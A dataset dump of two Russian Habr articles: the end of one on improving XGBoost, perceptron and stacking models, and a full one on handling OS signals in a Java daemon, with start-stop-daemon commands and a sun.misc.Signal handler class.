**2.** Используйте early\_stopping\_rounds вместо num\_boost\_round, чтобы остановить обучение и избежать переобучения модели. В этом случае задайте eta маленьким числом и num\_boost\_round очень большим (до 100 тыс.). Нам нужно понимать, что в таком случае придётся готовить валидационную выборку. В результате наша модель получит меньше данных для обучения, и ее производительность может упасть.
**3.** Запустите процедуру поиска по сетке на других значениях гиперпараметров. Скажем, можно было бы протестировать значения colsample\_bytree между 0 и 0.5, которые часто приносят хорошие результаты. Идея здесь состоит в том, что в пространстве гиперпараметров существует несколько локальных оптимумов и нам следовало бы найти несколько из них.
**4.** Объедините несколько моделей XGBoost, обученных с разными значениями гиперпараметров. Мы можем сделать такое объединение путем усреднения результатов моделей, смешивания (blending) и наложения (stacking).
**Многослойный перцептрон**
**1.** Используйте технику бэггинга (bagging) для усреднения нескольких многослойных перцептронов одной и той же модели. Наша модель стохастическая (например, потому, что мы используем выпадение нейронов = dropout), поэтому бэггинг сгладит ее работу и улучшит предсказательную способность.
**2.** Попробуйте более глубокую архитектуру сети, другие конфигурации элементов и значения гиперпараметров. Можно протестировать другие оптимизаторы, работающие по методу градиентного спуска, изменить число слоев, число элементов в каждом слое — вся мощь Hyperopt в наших руках.
**3.** Скомбинируйте несколько различных многослойных перцептронов (скажем, обучите двухслойную, трехслойную и четырехслойную нейронную сеть), использую любую из известных вам техник. Эти модели буду по-разному охватывать пространство данных и обеспечат улучшения по сравнению с базовыми результатами.
**Кросс-валидация**
Вместо использования простой кросс-валидации с разбиением на 3 части (иногда мы использовали разбиение на 5 частей), мы можем перейти к кросс-валидации на 10 частей. Такая кросс-валидация больше подходит для соревнований Kaggle, но почти точно позволит улучшить наши результаты (у нас будет больше данных для обучения).
**Стэкинг**
**1.** Можно добавить в ансамбль больше моделей нулевого уровня. Во-первых, мы можем просто обучить больше многослойных перцептронов и моделей XGBoost, но они должны отличаться друг от друга. Например, мы можем обучить эти модели на различных поднаборах данных, для некоторых из них мы можем по-разному предварительно обработать данные (loss). Во-вторых, мы можем ввести полностью другие модели: LightGBM, алгоритм k ближайших соседей, факторизационные машины (FM) и т.д.
**2.** Другая идея – добавить второй уровень как новый слой наложения. В результате мы получаем двухуровневый стэкинг: у нас всё ещё есть регрессоры нулевого уровня (L0), на out-of-fold предсказаниях которых мы обучаем несколько разных метамоделей первого уровня (L1). Затем, мы просто берём линейную комбинацию предсказаний метамоделей (L2) — и получаем финальную оценку.
**3.** Попытаться воспользоваться PCA — методом главных компонент, который был рассмотрен в ноутбуке про исследование данных. Здесь есть несколько идей. Во-первых, полученные компоненты можно подмешать к out-of-fold предсказаниям, на которых будет обучаться линейная регрессия (L1), чтобы добавить в метамодель дополнительную информацию. Во-вторых, можно отобрать из всех признаков только те, которые имеют высокий вес, а остальные отбросить как шум. Иногда это тоже помогает улучшить качество полученной модели.
Описание конфигурации, на котором выполнялся весь проект, [здесь](https://docs.google.com/document/d/1BnqhnqOxsoL3bZxh5DxH4TjxYIU8p67koITI6XTWRM0/edit?usp=sharing) | https://habr.com/ru/post/317246/ | null | ru | null |
# Обработка сигналов в Java
Передо мной частенько вставала задача написать какой-нибудь Java-сервис. В качестве ОС мы используем по большей части линукс, так что удобнее всего управляться с такими сервисами — работать с ними как с демонами. То есть, запускаем:
> start-stop-daemon --start --make-pidfile --pidfile /var/run/myservice.pid --exec /usr/bin/java — -jar myservice.jar
, и останавливаем:
> start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/myservice.pid
Команда --stop посылает JVM сигнал SIGTERM и сервис останавливается. Все как бы неплохо, JVM завершается в штатном порядке, если только вам не нужно выполнить по завершении работы сервиса какое-либо действие. Например явно освободить ресурс, или написать что-нибудь приятное в stdout.
Но все не так страшно, благо JVM начиная с 1.3.1 позволяет обрабатывать сигналы. За ответом как — под хабракат.
Для обработки сигналов я в свое время написал простой вспомогательный класс:
> `import sun.misc.Signal;
>
> import sun.misc.SignalHandler;
>
>
>
> public class DiagnosticSignalHandler implements SignalHandler {
>
>
>
> // Static method to install the signal handler
>
> public static void install(String signalName, SignalHandler handler) {
>
> Signal signal = new Signal(signalName);
>
> DiagnosticSignalHandler diagnosticSignalHandler = new DiagnosticSignalHandler();
>
> SignalHandler oldHandler = Signal.handle(signal, diagnosticSignalHandler);
>
> diagnosticSignalHandler.setHandler(handler);
>
> diagnosticSignalHandler.setOldHandler(oldHandler);
>
> }
>
> private SignalHandler oldHandler;
>
> private SignalHandler handler;
>
>
>
> private DiagnosticSignalHandler() {
>
> }
>
>
>
> private void setOldHandler(SignalHandler oldHandler) {
>
> this.oldHandler = oldHandler;
>
> }
>
>
>
> private void setHandler(SignalHandler handler) {
>
> this.handler = handler;
>
> }
>
>
>
> // Signal handler method
>
> @Override
>
> public void handle(Signal sig) {
>
> System.out.println("Diagnostic Signal handler called for signal " + sig);
>
> try {
>
> handler.handle(sig);
>
>
>
> // Chain back to previous handler, if one exists
>
> if (oldHandler != SIG\_DFL && oldHandler != SIG\_IGN) {
>
> oldHandler.handle(sig);
>
> }
>
>
>
> } catch (Exception e) {
>
> System.out.println("Signal handler failed, reason " + e);
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Пример использования:
> `import sun.misc.Signal;
>
> import sun.misc.SignalHandler;
>
>
>
> public class App {
>
> private SomeVeryImportantResource resource;
>
>
>
> public static void main(String[] args) {
>
> SignalHandler signalHandler = new SignalHandler() {
>
> @Override
>
> public void handle(Signal sig) {
>
> ...
>
> resource.release();
>
> ...
>
> }
>
> };
>
> DiagnosticSignalHandler.install("TERM", signalHandler);
>
> DiagnosticSignalHandler.install("INT", signalHandler);
>
> DiagnosticSignalHandler.install("ABRT", signalHandler);
>
> ...
>
> resource.lock();
>
> ...
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вот и все, ничего сложного. В handler'е совершаем необходимые действия и приложение завершается.
В топике я привел самый простой вариант использования — отлавливаем SIGINT, SIGTERM и SIGABRT. На самом деле различных видов сигналов, как и вариантов их использования, намного больше. Более подробное описание смотреть здесь:
<http://www.ibm.com/developerworks/ibm/library/i-signalhandling/> | https://habr.com/ru/post/78035/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.